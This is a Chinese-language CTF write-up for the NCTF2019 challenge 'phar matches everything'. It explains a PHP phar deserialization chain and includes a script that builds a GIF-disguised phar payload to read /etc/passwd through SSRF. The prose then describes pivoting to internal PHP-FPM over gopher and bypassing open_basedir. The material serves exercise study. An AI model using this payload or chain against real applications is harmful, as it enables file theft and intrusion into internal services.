CTF Web安全

[NCTF2019]phar matches everything(phar反序列化)

Posted on 2020-03-31,2 min read

这题得从github上下源码。
进入web。有两个功能。一个是判断文件类型。一个是文件上传。配合源码。分析一下
文件上传:


通过审计代码。发现只能上传图片。那么得配合其他文件使用。
判断类型:

这里有两个反序列化。第一次看会有点乱。

第一次反序列化。。是通过getimagesize函数phar://图片文件。触发的
反序列化影响main类。
可控$this->url。可以进行SSRF
第二次反序列化。。是通过main函数的析构函数触发的
反序列化影响Easytest类
主要是为了满足$this_is_a_easy_test->funny_get() === '1'

下面构造payload读取任意文件

<?php
class Easytest{
	protected $test='1';
}
class Main{
	public $url='file:///etc/passwd';
}
$a=new Easytest();
echo urlencode(serialize($a));
$b=new Main();
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering(); 
$phar->setStub('GIF89a'."<?php __HALT_COMPILER(); ?>"); 
$phar->setMetadata($b); 
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>


然后读取各种文件都无果。尝试读取hosts文件。打内网
读取hosts文件得到173.15.85.9
尝试访问http://173.15.85.10

估计是打PHP-FPM未授权。
将url设置为gopher协议。打个phpinfo出来

phpinfo中得到有open_basedir

bypass一下

得到Flag在根目录下

构造读取

得到Flag

下一篇: [GoogleCTF2019 Quals]Bnv(本地dtdxxe)→